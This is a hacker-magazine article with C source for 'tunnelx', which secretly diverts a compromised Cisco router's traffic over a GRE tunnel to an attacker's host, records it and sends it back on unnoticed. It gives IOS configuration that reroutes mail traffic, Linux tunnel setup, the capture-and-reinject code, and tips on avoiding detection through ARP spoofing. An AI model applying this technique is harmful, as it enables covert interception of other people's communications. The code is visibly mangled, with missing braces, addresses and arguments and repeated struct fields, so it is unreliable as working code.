Anthony C. Zboralski Gaius gaius@hert.org

First published in Phrack Magazine 56


Tunnelx (the code) is part of the research and development effort conducted by HERT (Hacker Emergency Response Team). It is not a production tool for either attack or defense within an information warfare setting. Rather, it is a project demonstrating proof of concept.

If you are not the intended recipient, or a person responsible for delivering it to the intended recipient, you are not authorized to and must not disclose, copy, distribute, or retain this message or any part of it. Such unauthorized use may be unlawful. If you have received this transmission in error, please email us immediately at hert@hert.org so that we can arrange for its return.

The views expressed in this document are not necessarily the views of HERT. Its directors, officers or employees make no representation or accept any liability for its accuracy or completeness unless expressly stated to the contrary.


When I think about routers in general, I feel exactly like I do when I go to the supermarket and see all this food and then I can't stop thinking of mad cow disease, CJD, GMO... It makes me feel dizzy. Just go on cisco.com and check what cisco 7500 is used for and how many corporations own them and how many thousands of machines get routed through them... There is even a traceroute map somewhere that can give you an idea of how deeply dependant we are on these routers. It's been a long time since I stopped believing in security, the core of the security problem is really because we are trusting trust (read Ken Thomson's article, reflections on trusting trust), if I did believe in security then I wouldn't be selling penetration tests.

How many times have you heard people saying, "Hey I 0wn this cisco, it would be cool if I had IOS src... I could trojan and recompile it and do this and that.", how many times have you heard of people wondering what the fuck they could do with an enable password. The IOS src has been floating around for quite a while now and no-one'z done anything with it yet; at least not among the regular bugtraq letspretendtobefulldisclosure readers.

Well you don't even really need the IOS src, everything you need is already there, (there is only one little thing that would be nice to have from the src but we'll talk about it below). You can load up the image in IDA, nop out a couple of instructions and the cisco's rmon implementation won't zero the payload anymore and you have a IOS sniffer.

Rerouting demystified

What you want to do is reroute some traffic from a router and send it to some other place, capture it and resend it to the router and make it look like nothing ever happened. Normal operation on a typical config will look like this:

          Internet  ------------ Cisco ------------ Target
                               Ethernet0            Serial0

What we are going to do is:

     # telnet cisco
     Connected to
     Escape character is '^]'.

     User Access Verification

     cisco> enable
     cisco# configure term
     Enter configuration commands, one per line.  End with CNTL/Z.
     cisco(config)# int tunnel0
     cisco(config-if)# ip address
     cisco(config-if)# tunnel mode ?
       aurp    AURP TunnelTalk AppleTalk encapsulation
       cayman  Cayman TunnelTalk AppleTalk encapsulation
       dvmrp   DVMRP multicast tunnel
       eon     EON compatible CLNS tunnel
       gre     generic route encapsulation protocol
       ipip    IP over IP encapsulation
       nos     IP over IP encapsulation (KA9Q/NOS compatible)

     cisco(config-if)# tunnel mode gre ip
     cisco(config-if)# tunnel source ?
       A.B.C.D   ip address
       BRI       ISDN Basic Rate Interface
       Dialer    Dialer interface
       Ethernet  IEEE 802.3
       Lex       Lex interface
       Loopback  Loopback interface
       Null      Null interface
       Tunnel    Tunnel interface
     cisco(config-if)# tunnel source Ethernet0/0/0
     cisco(config-if)# tunnel destination
     cisco(config-if)# ^Z
     cisco# show interfaces Tunnel0
     Tunnel0 is up, line protocol is up
       Hardware is Tunnel
       Internet address is
       MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
       Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
       Tunnel source (Ethernet0), destination
       Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
       Checksumming of packets disabled,  fast tunneling enabled
       Last input never, output never, output hang never
       Last clearing of "show interface" counters never
       Input queue: 0/75/0 (size/max/drops); Total output drops: 0
       5 minute input rate 0 bits/sec, 0 packets/sec
       5 minute output rate 0 bits/sec, 0 packets/sec
          0 packets input, 0 bytes, 0 no buffer
          Received 0 broadcasts, 0 runts, 0 giants
          0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
          0 packets output, 0 bytes, 0 underruns
          0 output errors, 0 collisions, 0 interface resets
          0 output buffer failures, 0 output buffers swapped out
At that point tcpdump won't show any output unless you try to ping an IP on the network. You will see some GRE encapsulated ICMP packets and some icmp proto 47 unreach packet coming from

On your linux test box, make sure you have protocol number 47 unfirewalled,

     test# ipchains -I input -p 47 -j ACCEPT          # accept GRE protocol
     test# modprobe ip_gre
     test# ip tunnel add tunnel0 mode gre remote local
     test# ifconfig tunnel0 netmask
     test# ping
     PING ( 56 data bytes
     64 bytes from icmp_seq=0 ttl=255 time=0.3 ms
     test# ipchains -I input -p 47 -j ACCEPT          # accept GRE protocol

Ok our link is up. And as you can see by default GRE is really stateless. There is no handshake, as we are not in Microsoft land with GRE2 and stupid PPTP.

     test# tcpdump -i eth1 host and not port 23
     tcpdump: listening on eth1
     11:04:44.092895 arp who-has cisco tell private-gw
     11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
     11:04:44.094528 > icmp: echo request (gre encap)
     11:04:44.097458 > icmp: echo reply (gre encap)

GRE's rfc isn't really verbose, and cisco coders are bashed in the linux GRE implementation source for not respecting their own RFC.

Let's look at tcpdump src on ftp.ee.lbl.gov. Tcpdump sources are nice; in the file print-gre.c we have most of the info we need to start coding tunnelx.

tunnelx - IOS Transparent reroute and capture

I initialized a new CVS tree with libpcap and libnet, some gre header ripped from tcpdump, reread pcap's manpage while eating some Chunky Monkey, took a glance at libnet's API doc and cleaned off the pizza bits and ice cream from my fingers and decided to code something really simple and see if it works:

- We define an unused IP address we call REENTRY and a fake ethernet address to avoid a protocol unreachable storm that we call ETHER_SPOOF. - We initialize libpcap and libnet and set up a pcap_loop.

- Then we make a pcap handler, which look for IP packets matching the GRE protocol which are going to the tunnel exit point address as well as ARP request packets.

- Our ARP parser bails out if it isn't a request for REENTRY or send a reply with ETHER_SPOOF.

- Our GRE parser simply swaps IP and ether source and destitution, and writes the packet to disk with pcap_dump(), increase the ttl, recompute the checksum and flush it with libnet_write.

- That's it!!! Never would have believed it would have been so simple. Now comes the tricky part; we have to configure the cisco correctly (define an access list with all the stuff you want to reroute in it).


     config term
     int tunnel0
       ip address
         tunnel mode gre ip
         tunnel source Ethernet0
         tunnel destination TUNNELX_REENTRY_IP
     access-list 111 permit tcp any host 25
     route-map certisowned
       match ip address 111
       set ip next-hop
     interface Ethernet0
       description to cert.org
       ip address
       ip policy route-map certisowned

If you had tunnelx up and running before setting up the cisco config then it should work now!!! And traceroute doesn't show any thing since its packets are not matched by our access list!

BEWARE, however, when you want to disable the cisco configuration. Remove the route map first with 'no route-map certisowned' *before* the access list otherwise it will match all packets and they will go in an endless loop. Try it on a small cisco 1600 before going in the wild with this stuff. Also try not to be far away from the cisco. People can only know on which network packets are captured not the actual host since we are arp spoofing, so take advantage of that.

I said in the intro that some bits from IOS src would be nice to use, it is their crypto code. You can setup an encrypted tunnel, make it use the same key on both way so it will encrypt outgoing packets and decrypt them when they come back. Tunnelx is just the same. You just need to add the crypto routine in your pcap reader to make it decrypt the traffic.

Oh yes, I didn't talk about the pcap reader, you can just make a small program that parses the pcap dump from tunnelx, make it un-encapsulate the GRE packet, and create files for each session. lseek() is the key to do it without missing out of order packets or getting messed up by duplicates. Since this article is not destined for the average bugtraq or rootshell reader, the pcap dump parser isn't included, you can send me some cash if you need a special version of tunnelx or need technical support.

Greeting and final words

:r !cat greetlist |sort -u |sed -e 's/$/, /'|xargs #hax idlers, acpizer,
akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9,
ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises,
octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr,
teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot,

I am already working on a new version that will let you do spoofing, hijacking, and monitoring like in hunt... Don't forget you're on the router, you can do everything, and everyone trusts you :).

The code

// Tunnelx is part of the research and development effort
// conducted by HERT. These are not production tools for either attack or
// defense within an information warfare setting. Rather, they are small
// modifications demonstrating proof of concept.
// comments and crap to gaius@hert.org

// to compile on solaris: (i used libnet-0.99g)
// gcc -O2 -I. -DLIBNET_BIG_ENDIAN -Wall -c tunnelx.c 
// gcc -O2 tunnelx.o -o tunnelx -lsocket -lnsl libpcap.a libnet.a
// on linux:
// gcc -O2 -I. `libnet-config --defines` -c tunnelx.c
// gcc -O2  tunnelx.o -o tunnelx  libpcap.a libnet.a

  #include "config.h"
  #include <libnet.h>
  #include <pcap.h>

  #define IP_UCHAR_COMP(x, y) \
      (x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])

  #define GRE_CP          0x8000  /* Checksum Present */
  #define GRE_RP          0x4000  /* Routing Present */
  #define GRE_KP          0x2000  /* Key Present */
  #define GRE_SP          0x1000  /* Sequence Present */
  #define GRE_SIZE (20)
  #define GREPROTO_IP     0x0800
  #define EXTRACT_16BITS(p) \
          ((u_short)ntohs(*(u_short *)(p)))

  const u_char *packetp;
  const u_char *snapend;

  #define SNAPLEN 8192
  #define TUNNELX_REENTRY ""
  char out[] = "core";
  u_long ip_spoof;
  u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};

  struct gre_hdr
    u_short flags;
    u_short proto;
      struct gre_ckof
        u_short cksum;
        u_short offset;
      u_long key;
      u_long seq;
      u_long key;
      u_long seq;
      u_long routing;
      u_long seq;
      u_long routing;
      u_long routing;

  struct link_int *li;
  char default_dev[] = "le0";
  char *device = NULL;

  void pcap_print (u_char * user, const struct pcap_pkthdr *h,
                   const u_char * p);
  char errbuf[256];

  main (int argc, char *argv[])  
    int cnt, c, ret, snaplen;
    bpf_u_int32 localnet, netmask;
    char ebuf[PCAP_ERRBUF_SIZE];
    char pcapexp[50];
    pcap_t *pd;
    struct bpf_program fcode;
    pcap_handler printer;  
    u_char *pcap_userdata;

    snaplen = SNAPLEN;
    printer = pcap_print;

    while ((c = getopt (argc, argv, "i:")) != EOF)
      switch (c)
      case 'i':
        device = optarg;
        exit (EXIT_FAILURE);

    //inet_aton (TUNNELX_REENTRY, \_spoof);
    ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0);
    device = default_dev;
    if (!device)
      fprintf (stderr, "Specify a device\n");
      exit (EXIT_FAILURE);

    li = libnet_open_link_interface (device, errbuf);
    if (!li)
      fprintf (stderr, "libnet_open_link_interface: %s\n", errbuf);
      exit (EXIT_FAILURE);
    if (device == NULL)
      device = pcap_lookupdev (ebuf);
    if (device == NULL)
      printf ("%s", ebuf);

    pd = pcap_open_live (device, snaplen, 1, 500, errbuf);
    if (pd == NULL)
      fprintf (stderr, "pcap_open_live: %s\n", errbuf);
      return (-1);
    if (pd == NULL)
      printf ("%s", ebuf);
    ret = pcap_snapshot (pd);
    if (snaplen < ret)
      printf ("Snaplen raised from %d to %d\n", snaplen, ret);
      snaplen = ret;
    if (pcap_lookupnet (device, , , ebuf) < 0)
      localnet = 0;
      netmask = 0;
    sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY);
    if (pcap_compile (pd,
                      1, netmask) < 0)
      printf ("%s", pcap_geterr (pd));

    if (pcap_setfilter (pd, ) < 0)
      printf ("%s", pcap_geterr (pd));
    if (out)
      pcap_dumper_t *p = pcap_dump_open (pd, out);
      pcap_userdata = (u_char *) p;

    if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0)
      (void) fprintf (stderr, "pcap_loop: %s\n", pcap_geterr (pd));
      exit (1);
    pcap_close (pd);
    exit (0);

  pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p)
    register struct libnet_ethernet_hdr *eh;
    register struct gre_hdr *gh;
    register struct libnet_ip_hdr *ih;
    register struct libnet_arp_hdr *ah;
    register char *dst, *src;
    register u_int ih_length, payload_length, off;
    u_int length = h->len;
    u_int caplen = h->caplen;
    u_short proto;
    struct ether_addr tmp_ea;

    packetp = p;
    snapend = p + caplen;

    eh = (struct libnet_ethernet_hdr *) p;
    p += sizeof (struct libnet_ethernet_hdr);
    caplen -= sizeof (struct libnet_ethernet_hdr);
    length -= sizeof (struct libnet_ethernet_hdr);

    switch (ntohs (eh->ether_type))
    case ETHERTYPE_IP:
      ih = (struct libnet_ip_hdr *) p;
      ih_length = ih->ip_hl * 4;
      payload_length = ntohs (ih->ip_len);
      payload_length -= ih_length;
      off = ntohs (ih->ip_off);
      if ((off & 0x1fff) == 0)
        p = (u_char *) ih + ih_length;
        src = strdup (inet_ntoa (ih->ip_src));
        dst = strdup (inet_ntoa (ih->ip_dst));
        switch (ih->ip_p)
  #ifndef IPPROTO_GRE
  #define IPPROTO_GRE 47
        case IPPROTO_GRE:
          gh = (struct gre_hdr *) p;
          p += 4;
          if (memcmp (>ip_dst, _spoof, 4) == 0)
            // reverse GRE source and destination
            memcpy (tmp_ea.ether_addr_octet, >ip_src, 4);
            memcpy (>ip_src, >ip_dst, 4);
            memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4);
            // ih->ip_id++;
            // reverse Ether source and destination
            memcpy (tmp_ea.ether_addr_octet, eh->ether_shost, ETHER_ADDR_LEN);
            memcpy (eh->ether_shost, eh->ether_dhost, ETHER_ADDR_LEN);
            memcpy (eh->ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN);
            // dope the ttl up
            ih->ip_ttl = 64;
            if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == -1)

            if (libnet_write_link_layer (li, device, (u_char *) eh,
             payload_length + ih_length + sizeof (struct libnet_ethernet_hdr))
                == -1)
            pcap_dump (user, h, packetp);
          proto = EXTRACT_16BITS (>proto);
      // process arp
      ah = (struct libnet_arp_hdr *) p;
      if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST)
      if (memcmp (ah->ar_tpa, _spoof, 4) != 0)
      // swap ip source and address i use ar_tha as a temporary place holder
      memcpy (ah->ar_tha, ah->ar_spa, 4);
      memcpy (ah->ar_spa, ah->ar_tpa, 4);
      memcpy (ah->ar_tpa, ah->ar_tha, 4);
      // move ether addr source to both destination
      memcpy (eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN);
      memcpy (ah->ar_tha, eh->ether_shost, ETHER_ADDR_LEN);
      // copy fake ether addr to both source
      memcpy (eh->ether_shost, ether_spoof, ETHER_ADDR_LEN);
      memcpy (ah->ar_sha, ether_spoof, ETHER_ADDR_LEN);
      // set arp op code to reply
      ah->ar_op = htons (2);
      if (libnet_write_link_layer (li, device, (u_char *) eh,
                                   ARP_H + ETH_H) == -1)